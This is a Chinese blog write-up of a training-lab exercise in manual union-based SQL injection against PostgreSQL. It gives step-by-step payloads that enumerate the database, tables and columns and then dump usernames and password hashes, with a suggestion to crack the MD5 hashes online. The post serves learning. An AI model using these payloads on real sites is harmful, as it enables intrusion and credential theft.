墨者 - SQL手工注入漏洞测试(PostgreSQL数据库)

用order by测试字段数

字段为4

 

测试回显位置   /new_list.php?id=1 and 1=2 union select '1','2','3','4'

 

 

暴库   /new_list.php?id=1 and 1=2 union select '1',(select current_database()),'3','4'

爆表 ,这里有两种方法

1.利用PG_STATIO_USER_TABLES表,该表统计当前使用情况统计信息

   字段信息如下,我们用到其中的relname

 new_list.php?id=1 and 1=2 union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 1

 这里原本想要mysql 的 limit (0,1)函数的,但是发觉这里只能  limit 1 offset 1

 SQL查询语句中的 limit 与 offset 的区别:

  • limit y 分句表示: 读取 y 条数据

  • limit x, y 分句表示: 跳过 x 条数据,读取 y 条数据

  • limit y offset x 分句表示: 跳过 x 条数据,读取 y 条数据

   具体可以参考:https://blog.csdn.net/cnwyt/article/details/81945663,例子很好理解

2.利用 pg_tables 表

 new_list.php?id=1 and 1=2 union select '1',tablename,'3','4' from pg_tables where schemaname='public'  limit 1 offset 1

    

爆完表就去爆字段了

new_list.php? id=1and 1=1 union select'1',column_name,'3','4'  from information_schema.columns where table_name='reg_users' limit 1 

爆出字段是 id,name,password,status

 

爆字段值  and 1=12 union select null,name||'::'||password,null,null from public.reg_users --

 MD5在线解密即可

 

总结

    之前只掌握mysql的语法,害怕换了库就无从下手了。在遇到全新的数据库时,做了几个,发现其实都是有规律可循的。故此在这里记录一下,当找到注入点的时候,基本注入思路是:先了解该类型的数据库的当前库查询语法,还有记录表明字段名的系统表(每种类型的数据库都有一个类似mysql的information_schema库,里面有各种记录操作的表),这样就可以爆出库,表,字段名了。还需要注意一下limit,offset等在各个类型数据库是否可用。最后实在没思路的话可以直接搜索“xxx(例如mysql)注入”,等字样,也会有相关的writeup提供思路。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值